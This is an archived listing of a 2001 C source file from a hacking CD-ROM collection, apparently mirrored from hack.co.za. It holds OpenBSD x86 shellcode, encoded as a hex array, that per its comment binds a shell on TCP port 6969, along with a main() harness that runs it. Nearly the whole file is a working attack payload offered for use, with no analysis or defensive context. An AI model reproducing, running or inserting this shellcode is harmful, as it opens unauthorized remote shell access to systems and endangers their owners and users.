home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hack.co.za / shellcode / openbsd / shelldbsd.c < prev   
Encoding:
C/C++ Source or Header  |  2001-03-24  |  751 b   |  30 lines

  1. /*
  2.  shell on port 6969/tcp shellcode for OpenBSD by noir
  3.  */
  4.  
  5. #include <stdio.h>
  6. long shellcode[]=
  7. {
  8.   0x4151c931,0x51514151,0x61b0c031,0x078980cd,
  9.   0x4f88c931,0x0547c604,0x084f8902,0x0647c766,
  10.   0x106a391b,0x5004478d,0x5050078b,0x68b0c031,
  11.   0x016a80cd,0x5050078b,0x6ab0c031,0xc93180cd,
  12.   0x078b5151,0xc0315050,0x80cd1eb0,0xc9310789,
  13.   0x50078b51,0xb0c03150,0x4180cd5a,0x7503f983,
  14.   0x5b23ebef,0xc9311f89,0x89074b88,0x8d51044f,
  15.   0x078b5007,0xc0315050,0x80cd3bb0,0x5151c931,
  16.   0x01b0c031,0xd8e880cd,0x2fffffff,0x2f6e6962,
  17.   0x90416873
  18. };
  19.  
  20. int
  21. main(void)
  22. {
  23.   void (*f) (void);
  24.  
  25.   f =(void *) shellcode;
  26.   //printf("shellcode len: %d\n", strlen(shellcode));
  27.  
  28.   f();
  29. }
  30. /*                   www.hack.co.za  [23 march 2001]*/